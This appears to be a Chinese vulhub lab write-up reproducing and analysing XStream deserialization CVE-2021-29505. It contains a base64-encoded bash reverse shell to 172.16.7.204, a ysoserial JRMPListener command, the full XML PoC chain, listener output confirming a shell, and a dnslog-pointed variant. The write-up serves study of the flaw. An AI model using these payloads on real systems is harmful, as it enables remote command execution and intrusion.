Xstream
一、环境简介
XStream是一个Java对象和XML(JSON)相互转换的工具,很好很强大。
提供了所有的基础类型、数组、集合等类型直接转换的支持。
因此XML常用于数据交换、对象序列化
(这种序列化和Java对象的序列化技术有着本质的区别)。
优点:
使用方便 – XStream的API提供了一个高层次外观,以简化常用的用例。
无需创建映射XStream的API提供了默认的映射大部分对象序列化。
性能 – XStream快速和低内存占用,适合于大对象图或系统。
干净的XML – XStream创建一个干净和紧凑XML结果,这很容易阅读。
不需要修改对象 – XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类。默认构造函数不是强制性的要求。
完整对象图支持 – XStream允许保持在对象模型中遇到的重复引用,并支持循环引用。
可自定义的转换策略 – 定制策略可以允许特定类型的定制被表示为XML的注册。
安全框架 – XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题。
错误消息 – 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题。
另一种输出格式 – XStream支持其它的输出格式,如JSON。
二、 漏洞简介
XStream在解析XML文本时使用黑名单机制来防御反序列化漏洞,
但是其 1.4.16及之前版本黑名单存在缺陷。
攻击者可以操纵已处理的输入流并替换或注入对象,从而在服务器上执行本地命令。
三、漏洞复现
┌──(root💀amingMM)-[/home/…/Desktop/vulhub-master/xstream/CVE-2021-29505]
└─# docker-compose up -d
漏洞利用
nc 监听
nc -lvvp 1474
base64编码
bash -i>& /dev/tcp/172.16.7.204/1474 0>&1
YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC8xNDc0IDA+JjE=
bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC8xNDc0IDA+JjE=}|{base64,-d}|{bash,-i}
ysoserial.jar
一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"
poc 打通经络
抓包
访问 127.0.0.1:8080 抓包并修改请求方式为POST
修改Content-Type为application/xml
添加poc内容到数据包
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>172.16.7.204</string>
<int>6666</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>172.16.7.204</host>
<port>6666</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
重放数据包 得到500 response
RMI消息
┌──(amingmm㉿amingMM)-[~/Desktop]
└─$ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
* Opening JRMP listener on 6666
Have connection from /172.21.0.2:40578
Reading message...
Is DGC call for [[0:0:0, 0]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /172.21.0.2:40580
Reading message...
Is DGC call for [[0:0:0, 0]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
getshell
四、漏洞分析
Xstream如何将java对象序列化成xml数据
首先是两个简单的pojo类,都实现了Serializable接口并且重写了readObject方法
import java.io.IOException;
import java.io.Serializable;
public class People implements Serializable{
private String name;
private int age;
private Company workCompany;
public People(String name, int age, Company workCompany) {
this.name = name;
this.age = age;
this.workCompany = workCompany;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Company getWorkCompany() {
return workCompany;
}
public void setWorkCompany(Company workCompany) {
this.workCompany = workCompany;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Read People");
}
}
public class Company implements Serializable {
private String companyName;
private String companyLocation;
public Company(String companyName, String companyLocation) {
this.companyName = companyName;
this.companyLocation = companyLocation;
}
public String getCompanyName() {
return companyName;
}
public void setCompanyName(String companyName) {
this.companyName = companyName;
}
public String getCompanyLocation() {
return companyLocation;
}
public void setCompanyLocation(String companyLocation) {
this.companyLocation = companyLocation;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Company");
}
}
然后生成一个People对象,并使用Xstream对其进行序列化
XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);
System.out.println(xml);
执行结果如下
<com.XstreamTest.People serialization="custom">
<com.XstreamTest.People>
<default>
<age>25</age>
<name>xiaoming</name>
<workCompany serialization="custom">
<com.XstreamTest.Company>
<default>
<companyLocation>BeiJing</companyLocation>
<companyName>TopSec</companyName>
</default>
</com.XstreamTest.Company>
</workCompany>
</default>
</com.XstreamTest.People>
</com.XstreamTest.People>
如果两个pojo类没有实现Serializable接口则序列化后的数据是以下这个样子
<com.XstreamTest.People>
<name>xiaoming</name>
<age>25</age>
<workCompany>
<companyName>TopSec</companyName>
<companyLocation>BeiJing</companyLocation>
</workCompany>
</com.XstreamTest.People>
分析直接写代码用Xstream解析poc
创建maven项目,引入XStream
主函数里定义xml调用Xstream解析poc
import com.thoughtworks.xstream.XStream;
public class Main {
public static void main(String[] args) {
String xml ="<sun.rmi.registry.RegistryImpl_Stub serialization=\"custom\"> \n" +
" <java.rmi.server.RemoteObject> \n" +
" <string>UnicastRef</string> \n" +
" <string>127.0.0.1</string> \n" +
" <int>8001</int> \n" +
" <long>0</long> \n" +
" <int>0</int> \n" +
" <long>0</long> \n" +
" <short>0</short> \n" +
" <boolean>false</boolean> \n" +
" </java.rmi.server.RemoteObject> \n" +
"</sun.rmi.registry.RegistryImpl_Stub>";
// write your code hereXStream xstream = new XStream();;
XStream xstream = new XStream();
xstream.fromXML(xml);
}
}
XStream产生漏洞的主要问题就在于:
XStream在处理
实现Serializable接口和没有实现Serializable接口的类
生成的对象时,方法是不一样的
在TreeUnmarshaller类的convertAnother方法处下断点,如下图所示
这里会获取一个converter,中文直译为转换器,
Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据,
我们跟进该方法看看在处理最外层的没有实现Serializable接口的People类时用的是哪种converter
从执行的结果中可以看到最终返回一个ReflectionConverter,
当然不同的类型在这里会返回不同的Converter,
这里仅仅只是处理我们自定义的未实现Serializable接口的People类时使用ReflectionConverter,
该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值,
那如过是处理实现了Serializable接口并且重写了readObject方法的People类时会有什么不一样呢?
更换序列化后的数据,在同样的位置打上断点,会发现这里处理People的Converter由ReflectionConverter变成了,SerializableConverter。
尝试在People类的readObject类处打上断点
执行过程中居然调用了我们重写的readObject方法,此时的调用链如下
会调用readObject方法的话,那此时我们的思路应该就很清晰了,
只需要找到一条利用链,就可以尝试进行反序列化攻击了
当处理此种类型的xml(即实现了Serializable接口的类)时,
会调用到该类的readObject方法
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>75g7ep.dnslog.cn</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>75g7ep.dnslog.cn</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
看到入口点与CVE-2021-21344、CVE-2021-21345等相同为:java.util.PriorityQueue
经典的CommonCollections利用链中有几个就用到了PriorityQueue。
在该类的readObject函数打下断点,调试执行
通过s.readObject()
走到XStram中的readObjectOverride函数
在readFromStream方法中获取javax.naming.ldap.Rdn$RdnEntry()方法
对应xml中的相应节点
经过一些调试走过一系列的嵌套调用。来到调用JRMP的关键类sun.rmi.registry.RegistryImpl_Stub
同样在readObject函数打下断点。因为该类的readObject继承自爷爷类RemoteObject。
在这里实例化UnicastRef对象,然后调用UnicastRef对象的readExternal方法
最终实际调用的代码如下最终在这里进行远程rmi调用
<sun.rmi.registry.RegistryImpl_Stub serialization="custom">
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>127.0.0.1</string>
<int>8001</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</sun.rmi.registry.RegistryImpl_Stub>
简化版poc的调用方式就是直入关键类
sun.rmi.registry.RegistryImpl_Stub跳过了一大段的嵌套调用